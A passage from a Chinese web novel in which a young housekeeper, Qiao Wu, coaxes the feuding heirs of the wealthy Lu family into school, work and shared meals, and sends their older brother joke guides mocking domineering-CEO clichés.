陆柠脸上跟火烧了似的,嘟囔:“我只是随口问问,看我的好日子哪天到头。” 其实她自己也觉得很奇怪,明明以前只要想到要去学校,每天枯燥的学习,面对根本不喜欢的同学,她就生理性的厌恶。 可她总是会忍不住想起乔梧的话。 世界那么大,总会遇到愿意跟自己做朋友的人,万一真的能遇到呢? 乔梧没有拆穿她:“联系好学校了,下周一就带你过去报道。” “噢。” 得到答案后的陆柠安静下来,却没有立即离开。 乔梧知道换成以往,陆柠绝对不会喜欢待在公共区域,更不会在她身边坐这么久,可能是有什么话想说。 但别说陆柠了,整个陆家都宛如锯嘴的葫芦,一个比一个嘴硬,一点都没有小时候那么真诚。 虽然开始乔梧为了治他们这个毛病特意弄了个机器人来,但现在基本都知道那个机器人是干嘛的,都不好骗了。 想了想,乔梧朝陆柠坐近了点。 后者吓了一跳,立刻警惕地扭头看过来:“干什么?” “我有话跟你说。” “说就说,靠那么近。” 陆柠挪了一下屁股,那距离却等于无。 乔梧垂眸笑了笑,却是站起身坐到离她最远的沙发上,会客厅本来就大,显得两人遥遥相望似的。 “这样可以了吗?”乔梧问。 “……” 陆柠瞪着眼睛,心道你这次怎么这么听话了? 现在她又觉得乔梧离得太远了,声音传过来空空的,让人很不舒服,可话说出口还怎么收得回来,好半天只能干巴巴点头。 “以后我都会离你远一点。”乔梧继续说。 陆柠咬着唇不吭声。 乔梧:“你希望这样,对吧?” 被激得更生气的陆柠忽然觉得自己晚上下楼来找她就是个错误,冷下脸:“你要说什么就说,我没工夫跟你玩传声筒游戏。” “没有跟你玩游戏,我很认真。” 对面的语气忽然变得正经和冷淡,让陆柠有些发懵。 她下意识抬起头,却看到原本还温温和和笑着的乔梧此时倚着沙发坐着,眼神也散去热意,就仿佛在学校里看敲诈的小胖子一样,就像是在看一个陌生人,那么疏远漠视。 陆柠忽然觉得无措。 她见过乔梧讨好谄媚,也见过她的温和大气,却从没见她用这种眼神看着自己。 哪怕那天让保镖架着她去上学,乔梧也都是笑着的。 明明知道这种心态不应该存在,可陆柠还是心慌。 “现在你说的话我都听。”乔梧说,“所以只要你点头,以后我都会保持距离,就像现在这样,要吗?” 这一刻陆柠忽然聪明了,发现了其中的不对:“你在吓唬我?” “吓唬?”乔梧无辜反问,“为什么是吓唬?我又不是餐厅里的测谎机器人,不知道你的真实想法,做事当然要按照你说的考虑,这有什么不对吗?” 陆柠无话可说。 乔梧视线下移,望着那个几乎要被揪坏的娃娃,叹了口气:“如果我没那么聪明,猜不到你喜欢娃娃,猜不到你在学校里被同学欺负,那你要怎么办?” “抛开我不说,如果你去了新学校,遇到了想要交的朋友,也要让她们来猜?” 她终于站了起来,缓步走到陆柠面前,微微俯身拯救出她手中的娃娃,将衣服整理好又塞回去:“所以我没有吓唬你,只是在替你预演以后会发生的情况,你做好心理准备。” 所以果然就是在吓唬人! 陆柠一把将自己的娃娃夺过来,揉了把被吓到后发红的眼睛。 乔梧的确心疼,但孩子是需要引导教育的,总要让她知道不是所有人都像自己一样会永远站在她这边。 见孩子实在委屈了,她放轻声音:“现在还有什么话要跟我说吗?没有的话就晚安?你该休息了。” 陆柠也是才意识到,乔梧说的争气还有另外一层意思,也同样针对她,只不过领域不同而已。 虽然对这种打一巴掌再给一颗甜枣的行为十分不齿,可她还是忍不住一脚踏进陷阱,而且还哭哭啼啼。 像陆宣一样,丢死人了。 从脚底蔓延出来的羞耻感让她站起来头也不回就往电梯走,身后只传来乔梧一声简单的晚安。 陆柠脚步一顿,又气势汹汹地走回去在乔梧面前站定。 乔梧扬眉。 陆柠仰着头中气十足地大声说:“到了新学校我每天自己按时去上课,我要你周末陪我去逛街!这是命令!” 说完也不等乔梧回答,又再次气势汹汹走了,进电梯都不回头按楼层,直到电梯门关上。 乔梧猝不及防被萌了一脸,在原地愣了三秒才反应过来。 没想到陆柠长大后会是这种性格,这么可爱。 回到房间后 的陆柠把门赶紧关上,想了想又反锁了,这才一屁股坐在地上拍拍胸脯。 她将娃娃举起来,自豪地说:“没错陆柠!你做得很棒!不能让乔梧觉得你被拿捏了!” 刚说完手机上来了新消息,她看了眼屏幕。 乔梧:“遵命。” 陆柠眨了眨眼,忽然将脸埋在娃娃肚皮上使劲蹭了蹭。 嘿!- 第二天是周末,乔梧没有冷血到周末也让人六点半起床,所以她提早去主宅安排好当日的事情后就回了小别墅。 陆宅事情多且杂,但那些杂活用不到她的动手,没事的话她会去宅子其他地方逛逛检查检查。 早上这段时间正正好,去游走的同时可以晨练,一举两得。 而且乔知义辛苦一辈子,到头来还是没法睡个懒觉,总喜欢游动,她也趁着这个机会跟他一起走走,免得父亲对她还是那么陌生。 她这一去,没想到主宅的两人今天没人叫却都按时起床了。 陆应池不动声色地扫了一圈,没有看到最近常看到的那张脸,心里一紧:“乔梧呢?” 不会真嫌他没用直接跑了吧! 佣人:“小乔管家去巡查了。” 陆应池这才坐下来:“大早上的查什么。” 没有气氛组在旁边,陆柠和陆应池看着对方就觉得没什么太大的食欲,所以陆应池挑了几个自己爱吃的就端着出门了。 见状陆柠赶紧端着盘子跟上。 陆应池回头白她一眼:“跟着我干什么?” 陆柠:“担心你害怕。” “……” 陆应池停下来,森然威胁:“没完了?信不信我把这盘子扣你脑袋上。” “有人至今还把我的录音放在晨铃曲库里,好意思?” 两人大眼瞪小眼,发现谁也不能说服谁,谁也不愿意让步,干脆懒得再看彼此。 陆柠并没有想跟着陆应池,但她潜意识觉得这人要去找乔梧,所以得盯着。 她信不过陆应池,万一真的给乔梧气出个好歹来辞职了,以后谁陪她逛街? 一个要跟,一个不愿被跟。 陆应池仗着自己腿长走得飞快,陆柠在他身后早餐都顾不上吃,卯着劲儿吭哧吭哧追。 所以等乔梧跟父亲开着小代步车过来时,看到的就是一大一小一前一后踩着拖鞋端着盘子在小道上追逐得面红耳赤。 这是什么造型? 她停下车:“你们在干什么?” 陆柠率先一步跑到车上坐下,喘着气根本说不出一句话,只有大眼大眼瞪陆应池。 后者见她吃瘪十分爽快,得意洋洋:“谁让你跟着我的?” 乔梧递了张纸巾给陆柠擦汗,无奈道:“她一个人在家无聊,想跟着小叔玩吧?” 陆柠急忙解释:“我没!咳咳咳咳!” 刚剧烈运动完的她根本没有办法说出完整的话。 对于陆应池来说,这话的效果等于说他房间有鬼,他打了个冷颤,刚要说话就见陆柠满头大汗满脸通红,又惊又急地看着他。 不会是真的想跟他玩吧? 就因为那一次家长会打架?小孩子的依赖来得这么快? 虽然他是爱玩,但也不适合她啊! 话到嘴边,他硬生生把那句“谁要带她玩”咽了下去,迈开长腿上车,睨了陆柠一眼,他板着脸:“我们有代沟知道吧?四舍五入是六岁,两个代沟玩不到一起,小屁孩就该跟小屁孩玩,你最好打消这个念头。” 陆柠越急越说不出话,疯狂拍着自己的胸口,泪花都出来了。 污蔑!绝对是污蔑! “卧槽!”陆应池被她这癫狂的状态吓得闪到最角落,双手护胸,“好了,这么激动做什么,不怪你就是,就这一次啊。” 乔知义坐在前面,觉得这画面很稀奇。 他在陆家这么多年,也是看着两个孩子长大的,可从来没有见他们这么鲜活过。 他笑道:“我还是第一次见少爷和小小姐这样开心。” 乔梧:“……” 父亲这是被狗血小说荼毒得有多深。 陆应池和终于能说出话的陆柠同时炸毛:“哪里开心了!” 这还不开心吗? 总比以前在同一屋檐下当陌生人好。 乔梧见逗得差不多了,拿出一瓶车上的纯净水递给陆柠:“所以,是什么让你们这么自然就上了我的车,知道我要去哪吗?” 两人齐齐一愣,各自撇开脑袋,含糊道:“就……随便逛逛。” 见两人心虚的表情,乔梧大概能猜到一些。 在偌大的家里他们并不能找到安全感和归属感,所以过去总是浑浑噩噩得过且过,如今可能在她这里找到了一些,所以下意识就想紧紧贴着。 那就随他们去吧。 她把注意力转回工作上,跟父亲聊天:“爸,我们接着说。” 跟父亲过来是想要了解每个角落的细节,毕竟过去的“她”把无意义的时间都花在几个少爷小小姐身上了,家里的事算不上太清楚。 乔知义点点头,视线越远:“高尔夫球场是今年冬天维护,加上老先生住院,进度推得慢了点,老先生的意思是区分一下私人区和商用区,你来看着划。” 家里几个混世魔王都不是省油的灯,陆江担心有时候谈生意被他们搅和,所以干脆重新修缮,分个区域给他们自己玩去。 乔梧点头。 “之前有留给你一个名单,上面是可以控制是否来往家里的人员,你有权将人拒之门外,你的工作性质跟我不一样,所以有些合作你需要提前衡量利弊,给老先生一个大致的答案……” 陆江是一个有私心图利益的商人,以前没有时间精力照顾孩子,所以家里的重心都交在乔知义身上,后来见每个孩子都那么依赖乔梧,而她还那么聪明早慧,自然就起心要培养她了。 没有任何一个人会比自己亲眼看着长大的孩子更放心。 想着只做普通管家太屈才,所以他曾经还跟乔知义提过,给她跟几个孩子一样的教育,让她有足够的眼界和实力来辅佐未来的陆氏掌权人,不仅仅是做一个管家而已。 如果不愿意也无所谓,家里不缺多培养一个孩子的钱和资源,全当是给乔梧陪着几个孩子的奖励,以及让乔知义更加忠心耿耿的筹码。 怎么都不亏。 现在乔梧如陆江所愿接任管家,要做的事自然就比乔知义多。 他只是一个管家,而她却是要成为掌权人的左膀右臂。 乔梧和乔知义在前面聊天,坐在后面的陆应池和陆柠像是被掐住脖子的鸡,吃早餐都没发出一点声音。 高尔夫球场什么时候修缮的?什么合作衡量?什么国内国外? 陆应池暴躁地抓了把头发,发现这些事情他屁都不懂。 早上六点半,他们每天为起这么早上学发脾气,乔梧已经起来安排好家里的大小事了,神采奕奕的。 不对,这明明就是以前乔梧纵容的! 怎么,说好一起当二世祖,现在她背着他偷偷卷起来了,到头来还要嫌他不争气?! 这人还有两幅面孔呢? 陆应池愤愤不平。 “对了。”乔知义说完大致的事情后,问,“二少爷跟你有什么联系吗?” 一提到陆尽之,乔梧就头皮发麻。 心想剧情里陆尽之看到那样的的消息能忍那么久也是够够的了,还联系? “没有。”她摇头。 “老先生的身体你也知道。”乔知义说,“之前父子两有矛盾,二少爷才去国外发展,现在那边稳定了,国内集团也不能长时间没人坐镇,所以他应该很快就会回来了,有些事你得帮帮他。” 乔梧还没反应,后面两个人就几乎弹起来:“陆尽之要回来?!” 乔知义慈祥地说:“对,这么久不见您二位应该也想他了。” 陆应池:“?” 陆柠:“……” 这踏马不比鬼更恐怖? 在这个家里,陆应池敢光明正大跟陆宣一起撬老头保险柜,却从来没有踏入陆尽之房门半步。 毕竟老头会跟你吵会气急败坏,但陆尽之从来不会,能动手他绝对不会动嘴。 家里两个怪胎,一个小小年纪就聪慧到怪异的 乔梧; 一个智商超高做事狠绝的陆尽之。 大哥过世的时候陆应池才六岁,晚上做梦梦里都是鬼,整天抱着小侄女嗷嗷哭,陆宣也变得不爱说话跟人沟通。 可那会儿也才不到14岁的陆尽之却仿佛一夜之间长大,跳级跟玩似的,跟在老头身边沉稳有度头头是道。 陆尽之从来没被老头揍过。 每次他跟陆宣被老头暴揍上蹿下跳的时候,哪怕被鼻血溅到,陆尽之还能面不改色不动如山地换个地方,继续做自己手里的事。 从那以后陆应池就觉得这个人难以琢磨,恐怖如斯,还没有心。 要知道做生意的人,心都脏得很。 所以陆尽之的心,恐怕已经黑得滴墨了。 至于陆柠,其实她对这个叔叔印象不深,毕竟见的面也没多少。 但她就是不敢喊陆尽之的大名,对方每次看她的目光跟扫描仪似的,看得她心慌,听说二叔以前是跳级天才,她就更不敢舞到陆尽之跟前去。 陆应池一脸吃了苍蝇的表情:“他也要住家里?” 陆尽之应该没有什么绩点烦恼吧。 住在公司上面的大平层不是更方便他那个工作狂? “还没问。”乔梧不想自己一个人尴尬,所以恶劣道,“这么好奇,到时候第一时间告诉你。” “duck不必。”陆应池啧了声,“突然觉得期末及格也不是什么难事了。” 陆柠也沉默了片刻,问:“我的新学校,有住校生吗?” 如果是真的,那她也想申请,周末再来找乔梧逛街好了。 乔梧打消她的念头:“没有,但离家近,你可以多睡十分钟。” 陆柠现在还小,过去影响太重,乔梧很担心她,所以需要盯着,不可能放任她去住校的。 见大家头上都顶着一片愁云,乔梧心情忽然就放松了。 反正又不是她发的消息,这又有什么关系! 把垂头丧气的陆应池和陆柠送回去以后,她做好心理建设打开微信,紧接着面不改色把上面那些不堪入目的消息一一删除,给自己做个心理安慰。 眼不见心不烦。 这样一来她彻底就跟过去说拜拜,毫无心理负担了。 她倒是不怕陆尽之,毕竟以前陆宣试图把她揣进书包里带着去大班的时候,都是陆尽之给她揪出来的。 那会儿陆柠还没出生,家里只有她一个女孩,担心她哭,陆尽之还会把陆宣的零食玩具都抢过来给她。 对于陆尽之后来的变化,乔梧能理解。 家里大哥垮了,父亲也不像过去那样年轻,只有十多岁的他必须要学着长大,才能不让弟弟和蹒跚学步的侄女担心,给他们挡风挡雨。 对比其他人是在“她”有意的引导下变坏,只有陆尽之是例外。 他孤身一人站得太高了,学习能力又变态的强,小小年纪在各种各样的人身边学习游走,见识学习过那么多人心,潜移默化下他心里藏着很多东西,一旦那条线崩坏,他就万劫不复。 很多霸总都这样,疯批阴暗固执。 太传统了。 所以那时候乔梧心想,如果有机会的话她也想为这个家做点什么,让他们摆脱剧情里的结局。 删到爬床那一条,乔梧犹豫了一下,陆尽之跟那几个傻白甜不一样,没有那么简单糊弄过去,好在爬床的消息也就那么一条,其他的“她”也给其他人发过。 所以乔梧埋头在电脑上敲打好一阵,终于打出一个文档。 她点开跟陆尽之的聊天框,开始编辑- 陆尽之其实等了挺长时间。 他猜不透乔梧最近的改变是为什么,就像他猜不透她以前为什么会突然变了一样。 但过去的乔梧蠢得太透明,他懒得去猜,现在的倒是值得看一看。 他想等一个解释。 解释她为什么在发那些消息后还敢那么明目张胆地来找他帮忙,又彻底忽视他,勤勤恳恳地在陆应池他们身边绕来转去。 但自从那天的电话发过去,刻意引导她看到那些消息后,她愣是一点回音都没有。 他快没耐心了。 不过现在他等到了。 看到那个熟悉的名字后面再一次出现红点,他点进去。 略过后面两个文件,他先看了绿色的文字框。 乔梧:“抱歉,之前事情紧急又忙,忘了回复,有必要解释一下。” 乔梧:“‘我不需要名分……’这个发错了,当时喝多了,误发给你并非我本意。” 陆尽之详尽扫完每一个文字,黑眸中第一次露出些许不解的情绪。 倒不是因为那两句苍白的狡辩,而是后面两个被他第一时间忽略的文件。 乔梧:“这才是发给你的,附件:《狗血豪门排雷指南》《传统霸总是怎么被淘汰的》——做健康豪门,享永富人生。” 看过无数挖坑合同、跟数不清的商人玩过心眼的陆尽之,第一次觉得自己患上了文字识别障碍。 否则他怎么会看不懂。 第15章 第十五章配不上我 怀着一种诡异的心情,陆尽之点开了那两份奇怪的文件,好就好在这并不是病毒,至少他的手机还能正常运行。 比起外面奇怪的标题,里面的内容更加令人迷惑。 包括但不限于: 传统霸总病的预防小妙招,胃病就是这么养成的; 霸总心理健康指南,眼睛真的表达不出那么多情感,嘴巴不是摆设; 法治社会,遵纪守法才是好公民…… 陆尽之:“……” 条条清晰,但总觉得条条都在骂人。 担心再看下去心理真的会变得不健康,他选择退出。 正好看到乔梧紧接着发来的消息。 “回国的日程我跟秘书对接还是直接从你这里走?” “在这之前有什么工作安排吗?” 比起前面那些乱七八糟的,这两句看起来还挺顺眼。 但陆尽之每次想要说点什么,脑袋里却全是霸总排雷指南,他放下手机按了按眉心。 回国这件事在陆江住院后就已经在做准备了,集团那边有秘书对接,用不上乔梧。 事实上陆尽之从来没有打算让她接手跟集团有关的任何事务,至少过去是,至于以后,也要见到人再说。 他略过那几条消息,直接问:“原本要发给谁?” 乔梧:“?” 这人重点是不是抓错了,他是在意这些细节的人吗? 想了想,她选择蒙混过关:“跟一个朋友开的玩笑。” 又是拙劣的借口。 陆尽之:“嗯。” 嗯就没事了? 乔梧一头雾水,这人真是越长大越难猜:“所以我需要做什么?” 陆尽之:“不用。” 彳亍。 想想也是,陆尽之这个人疑心那么重,能相信她才有鬼了。 乔梧没有再纠结这件事,而是将最近的一些事分类好,又发了一份文件过去,小事上没有事无巨细,只是类似于家里球场的公私区域划分、陆柠转学以及陆宣要换经纪人这些事让陆尽之知道。 “周报。” 发完以后她也没再等回复,去忙自己的事了。 周报两个字让陆尽之略感意外,乔梧做了什么值得汇报的? 点进去一看,发现是些零零碎碎的东西。 也不算零碎,却也不是太重要,反正放在以往都是那些人不会也不愿跟他说的事。 他看了会儿,莫名觉得荒唐,也觉得可笑- 陆宣还是没回家。 虽然知道他别扭,但也该工作了。 之前在晚宴他喝醉后,乔梧收到了不少其他人的合作意向,她最近将这些人送过来的资源大致分类整理,找出了几个比较适合现在陆宣的方案。 剧情里陆宣进圈后就没干过一件正经事,好不容易拍个小网剧,剧倒是扑得彻底,他还被剧本里那些“歪风邪气”给带得神经兮兮。 整理好后,她给陆宣发了个消息问他在哪。 直接打电话他可能不会接。 果然,消息也没回。 乔梧不慌不忙:“之前你喝醉了,我替你收了几个剧本,地址发来让人给你送去。” 乔梧:“工作辛苦了,厨房做了你 爱吃的甜品,也一起送了。【图片】【图片】” 为了逃避现实在自己另外房子里昏睡了一天一夜的陆宣:“。” 也不是谁都能睡一天一夜的。 这还不算辛苦? 他心安理得地将地址发过去。 迷迷糊糊想,家里厨师什么时候知道他喜欢吃什么了? 陆江那老头子死要面子,常常在家里招待客人,所以家里不管是厨师还是甜品师都是花大价钱从世界各地请来的,做的食物味道一绝。 小时候陆宣很爱吃,但长大后在家吃饭的次数都少,更别提那个家里没谁会记得他的口味了。 他没多想,埋着头又睡了过去。 再次醒来天都要黑了,陆宣拿出手机发现一个消息都没有。 说什么送剧本送甜品,不管是谁来,骑共享单车也能从陆宅骑过来了吧?! 整个家里也只有乔梧敢唱反调,陆宣气得当场就要拿手机给乔梧打电话,但都要拨出去了又觉得这样显得自己很在意似的。 不就是份甜品。 谁在意。 但是剧本是该催一催的。 这么想着,陆宣掀开被子走下床,边走边考虑要用什么语气才能找回面子,顺便将电话拨出去。 房门才打开,他脚步忽的一顿。 市中心的寸土寸金,早就不给批地在这儿建别墅了,所以他买的是顶楼复式,平时除了定时保洁过来,他不爱让人来这里,家里一直都很安静。 因此楼下传来的手机铃声就格外清晰。 陆宣低头看了眼,将电话挂断。 楼下铃声停了。 他深吸一口气,转身就要回房间。 没曾想底下忽然传来熟悉的声音:“醒了就下来。” 谁醒了,反正他没醒。 敲,乔梧怎么会知道他的门锁密码! 他的手刚触碰到门把手,又听乔梧说:“你想拖时间也行,今天什么时候把工作谈完什么时候结束。” “……” 陆宣冲回卫生间打开水龙头,确认不用刮胡子,又飞快洗了把脸,把凌乱的头发抓好,期间还去衣帽间拽了件衣服穿上,也不知道从哪个首饰盒里捞了只耳钉戴上,这才再次出门。 他双手插兜走到楼梯,终于见到乔梧。 桌面上摆了不少剧本,还有没打开的甜品盒,乔梧坐在沙发上喝着咖啡翻看他拍过的杂志,也不知道来了多久。 听到声音她抬起头,唇边漫开笑意:“晚上好。” 谁跟你晚上好。 陆宣眯起眼:“私闯民宅?” 乔梧放下咖啡:“嗯,告我吧。” 她也没想直接进来,只是按了很多次门铃都没人开门,她当时也就是随手试了试密码,没想到还真开了。 进来后也没去哪,就冲了杯咖啡这儿等着陆宣起床。 “迟早的事。”陆宣没让自己落了下风,“谁告诉你密码的?” 乔梧默了默:“你以前藏玩具的保险柜密码,也是这个。” 小时候的陆宣极其自闭且护食,所以总是把自己最喜欢的东西藏在保险柜里,只把密码告诉她,说只跟他一起玩。 陆宣:“……” 他差点从楼梯上摔下去。 从今天开始,他一定要把所有的密码都改了! 他走上前扫了一眼桌上那些剧本:“什么工作跟我谈?” “睡一天了,吃点东西吧。”乔梧将甜品盒子打开,“边吃边聊。” 陆宣觉得这就是乔梧套话的借口而已,他没对家里的厨子抱有什么期待,可视线落上去却怔了几秒。 的确每一样都是他爱吃的东西,味道飘过来后睡了一天一夜滴水未进的他忍不住咽下口水。 他看了乔梧一眼,见她注意力不在这上面,便拿起一块小口小口吃着。 乔梧余光一直注意着他,见他从装逼的细嚼慢咽越吃越快,一声不吭三下五除二就把盒子里的东西吃完了。 陆宣是个很在意形象的人,尤其跟现在的她在一起,看着急下楼连耳坠颜色风格都搭错了,是不可能在她面前露怯的。 看他擦手,她皱眉问:“多久没吃饭了?” 陆宣顿了顿,扔下湿纸巾:“你越界了,这还轮不到你管。” “陆宣。”乔梧侧眸,没什么情绪道,“你不会觉得作为一个成年人连自己都照顾不好是件令人骄傲的事吧?” 霸总常见病不仅霸总有,这些霸总的兄弟也有。 看来也要发他一份了。 “你在关心我?”陆宣轻嗤,“你对陆应池和陆柠也是这么说的?” 乔梧:“他们不用我操心这个。” “你把我当三岁小孩?” “小孩饿了知道吃,你明显不知道。”乔梧怀疑地看着他,“下雨你知道找地方躲吗?” 会不会因为装逼连伞都不想打之类的。 “……”陆宣感觉自己维护最后体面的面具都要撕裂了,“如果不是只对我,就不要用对付别人的方式来对付我。” 乔梧失笑:“你很在意我吗?” “谁在意你了!”陆宣应激,“我已经跟陆应池说过,不要你了。” “那为什么还要抱着我哭?” 陆宣身体一僵,狡辩道:“喝多了人的行为是不受自己限制的,并不能代表什么。” “既然这样,那你为什么还要在意我怎么对别人。”乔梧挑眉,“把我当做你身边的普通人不就好了,你会去在意家里厨师今天为谁做了饭么?” 又点点桌面的剧本:“会在意这份剧本,团队除了给你还给了其他谁吗?” 陆宣被绕进去了,竟然下意识摇头。 那些人关他什么事? “那不就得了。”乔梧将其中一个剧本翻开,递到他面前,“把我当做一个你身边的员工就行,不喜欢就去跟你爸说把我辞了。” 陆宣被堵得哑口无言。 玛德,她好有道理。 但是之前他才给老头道了歉,现在还不想去招惹他。 那就…再忍一忍缓几天? 嗯! 陆宣眼前瞬间豁然开朗心眼明亮,低头去看剧本:“说吧,什么工作?” 见状乔梧无声笑了笑,还是跟以前一样好哄。 “这些是我挑出来比较适合你的剧本,戏份少但人设好,可以暂时掩盖你演技不足的缺点。”她说,“我会去跟公司沟通,在签完合同之前你继续去上演技培训课。” “等会儿,戏份少?”陆宣将剧本推开,“我凭什么演配角?有没有男主的?” 乔梧淡淡看他:“人贵在有自知之明。” 陆宣皱眉:“这位员工,你似乎在侮辱我。” “你不是很讨厌我吗?”乔梧反问。 “……那又怎样?” “所以如果你继续演那些乱七八糟的霸总剧本,我会更瞧不起你,你希望被讨厌的人瞧不起?” 陆宣认真地衡量了一下,发现他一点都不想。 “就不能有好一点的男主剧本?” “你配不上。” 又被怼了一次的陆宣深吸一口气,真心实意道:“你说得对,我真的很讨厌你。” 但是不能生气,生气不就是在意了! 他一把将剧本拿起来,看了一部分还真看进去了,虽然没有以前那些剧本装逼,但剧情还真不错。 乔梧继续端起咖啡,喝了一口后说:“从今天起,如果没有工作就回陆宅住?你工作那么辛苦,又要去公司上课,回到家连口热饭都没得吃,想吃甜品还得让人远远送来,挺亏的。” 这用词让陆宣觉得奇怪,以前他回陆宅不也是这样么? 笑话,他是为了口饭就回去的人? 乔梧语气悠悠:“总不能是因为我才不回去?” “回。”陆宣斩钉截铁,“今晚就回。” 他倒要看看,那口饭究竟有多热! 丝毫没有反应过来的他,在车上剧本看着看着,就被带回去了。 直到在餐桌前坐下,看到那曾经动过他屁股的机器人,陆宣才隐隐反应过来哪里不太对劲。 怎么回事,怎么突然就要跟陆柠陆应池坐一桌这么和谐地吃饭了? 陆应池来到餐厅才发现今晚多了一个人,他目光在陆宣身上定了很久,哟了一声,阴阳怪气:“哪位大明星回来了?” 陆应池睨他一眼。 “不是说不要了?”陆应池走上前,贱兮兮地问:“这是干嘛呢?” “傻狗。” 自从陆宣被点拨了那么一下,现在他觉得自己跟陆应池已经不是一条水平线上的人了。 只有陆应池还在憨批兮兮地在意。 他靠在椅子上,用一种意味深长的眼神看着他:“我跟你不一样,懂吗?” 他就是没那么看重乔梧才回来的!哪里像这傻狗还在圈地盘。 “傻狗骂谁?” “骂你。” 后面进门的陆柠看着这两小学鸡互啄,忽然敲了下脑袋恍然大悟:“我就说我为什么学习不好,原来是遗传。” 乔梧:“……” 一屋子人凑不出一个完整的脑子。 很快佣人推着菜上来,乔梧正准备出去却被陆应池叫住:“你又去哪?” 乔梧不解:“吃饭。” 陆江规矩多,所以以前父亲在他身边做管家时是不会跟主家同桌吃饭的,有自己的小餐厅。 所以乔梧上任后对陆家这几人虽然强势一点,但对自己还是挺无所谓的,在哪吃都是吃,她不在意要不要上桌。 “去哪吃?”陆应池就近抽开一张椅子,“就坐这儿。” “不合规矩。” 陆应池白了她一眼:“又不是没吃过。” 陆宣懒懒摆弄餐具,闻言睨她:“现在知道讲规矩了,早干嘛去了?” 其实以前陆江忙着工作不回家吃饭的时候,都是乔梧陪着他们,陆柠都要她亲自喂饭才肯吃。 后来大家同桌吃饭的次数少,也没人在意到底乔梧要跟谁吃了。 陆应池自己都觉得奇怪,明明过去都是这样不在意,可刚才看到乔梧转身要走,他就觉得不舒服,不该是这样。 反正对她好一点,到时候就算说不争气那也是说陆宣,怪不到他头上。 说着他就直接将乔梧按在了椅子上:“以后就坐这儿吃。” 另外两人就跟没发现身边多了个人似的,屁股都没抬起来一下。 乔梧也并不扭捏,侧过头对来推菜的佣人道:“把那边撤了吧。” “好的。” 佣人飞快又推着车出去,合上门时忍不住抬头看了一眼,发现少爷小小姐在动筷之前都下意识地看向小乔管家,更是诧异。 小乔管家在陆家这么多年,过去也不是没人看出来她的秉性,少爷小小姐对她的态度也很微妙。 可不知怎么,自从她回国这段时间以来好像从内到外都变了一个人,气质谈吐魄力不说,还连带少爷小小姐的态度也变了。 此时此刻他们坐在一起,真的很像完整意义的一家人。 吃完饭后,互相看不顺眼的几人干脆一拍而散,各自上楼。 电梯又不止一部,陆柠不想跟这两个笨蛋搭同一个,刚要转身去另外的,却被陆应池揪住了马尾:“站这儿。” 陆柠护住自己的脑袋,怒目而视:“你干嘛啊!知道女孩子的头发有多金贵吗!” “能有多金贵?”陆应池捏了一下她的马尾,“还没公主的多。” 陆柠狠狠拧住他的胳膊:“你是人吗?” 走在后面原本也不想跟他们一起走的陆宣无声望着这一幕,心中十分震撼。 他才不在家多久,怎么连陆柠和陆应池都这么亲近了? 这时陆应池回头看了一眼,把陆柠往前一推:“来,把那天你跟老子说的话给他也说一遍。” “自己没长嘴?”陆柠骂骂咧咧。 但看陆宣已经停了下来,她还是恨铁不成钢地开口:“争点气吧。” 刚才那画面,两只傻狗,谁看了谁不绝望。 陆宣:“?” 他眸色变得危险:“小屁孩,你在对我说教?” 陆柠立刻躲到陆应池身后:“他让我说的!” “陆应池。”陆宣不耐烦,“我没空跟你玩这种小学鸡游戏。” “陆宣。”陆应池也不甘示弱,抬着下巴倨傲道,“乔梧说了,你要是不争点气就请不起她,她会另寻下家。” “我?”陆宣没懂,“关我什么事,我又不在意她到底想去哪。” 这瞬间陆应池忽然觉得,餐厅里那个机器人还是没把陆宣打够,你人回来了饭吃了,现在跟老子说不在意? 人化成灰了嘴都还在。 “我只是在通知你。”陆应池张嘴就来,“我才十八岁,已经考上大学了还在读书,又不会挣钱,总不能是跟我说的吧,那只能是说你,她点你呢。” 躲在他身后的陆柠抬头震惊地望着他。 这个逼! 修辞手法都不带改的! 说完后,陆应池拽着陆柠就进了电梯,留着陆宣一个人在原地凌乱。 电梯门合上的声音让陆宣回过神,他垂眸看了眼自己。 那不是老头请的吗?关他什么事啊! 他演个小糊剧能挣几个钱,还不够他开瓶酒,靠他挣钱来聘请乔梧,那不早完蛋了? 她最好是赶紧另寻下家!- 回到陆宅的第二天,陆宣才意识到自己做了一个多错误的决定。 他在床上呆坐了很久都没回过神,甚至怀疑自己是不是没睡醒在做噩梦,还是说这家里安保系统被什么IT高手入侵了,否则耳边怎么会一直回响着陆柠魔性的声音,他发誓这辈子他都不想再听陆柠说“谢谢”这两个字了。 谁他妈想出来用这玩意儿放喇叭里的,还这么锲而不舍?! 六点半! 这辈子他只有在早上六点半睡过觉,却没有在早上六点半起过床! 前几天来的时候明明还没有! 他有种直觉,这一定是某个人搞的鬼,所以毫不犹豫就给乔梧打了电话。 “早上好。”乔梧声音含笑,“该起床了,我们今天要去公司。” 娱乐公司没有双休日之说,艺人什么时候工作就什么时候上班。 陆宣有点绝望:“你知道现在几点吗?” “本来可以不用起这么早。”乔梧说,“但是你出门前不是要打理一下自己吗?加上吃早餐,时间差不多,我在楼下等你。” 陆宣觉得自己为了这口热饭付出了更大的代价。 刚要蒙着被子继续睡,耳边又忽然想起陆应池的话。 不争气不争气! 草! 陆宣满身怨气起床,再出房门时又是光鲜亮丽的了。 下了楼乔梧果然已经在餐厅等着,陆宣目光微微一滞。 或许是因为要出门,她换了套比较正式的衣服,也画了个淡妆,比起之前见的任何一面都要令人惊艳。 明明还是那张脸,怎么有人像是被从骨子里彻底清洗了一遍那样容光焕发。 陆宣坐下,发现桌上这些早餐的确都是自己的偏好口味,往旁边看了一眼:“我自己可以去。” 他的确对那个剧本还有点感兴趣,也不得不承认不想让乔梧看不起。 乔梧从善如流:“嗯,是我想跟你一起去。” 陆宣憋了憋,埋头吃饭:“随你。” 吃完饭两人一起出门。 乔梧将自己挑选好的几个经纪人资料递给陆宣:“一会儿联系他们过来看看?我查过他们之前带的艺人,发展都不错,也没什么负面消息,艺人和经纪人之间没太大矛盾,但亲眼看看才知道合不合适。” 陆宣入行这么久以来,第一次听到有人在他面前这么认真地谈工作。 公司知道他的身份,所以从来不对他做什么要求,把他当做太子爷一样供着,哪怕以前的经纪人也是。 他接过资料,视线却一直在乔梧身上,看了会儿忽然说:“都是员工,不然你来做我的经纪人好了。” 更好使唤,她也没有机会去管其他人。 两全其美。 他真是个天才! 乔梧没想到他会这么说,眉梢轻扬:“你知道我年薪多少吗?” 这些事从来不在陆宣的了解范围内, 他进娱乐圈是挣不到多少钱,但自己还是有钱的,名下那些房子车子都可以给乔梧挑。 乔梧给他比了个数字:“这位数。” “疯了吧你!”陆宣瞳孔地震,“不对,是老头疯了,这么多钱请一个管家?!” 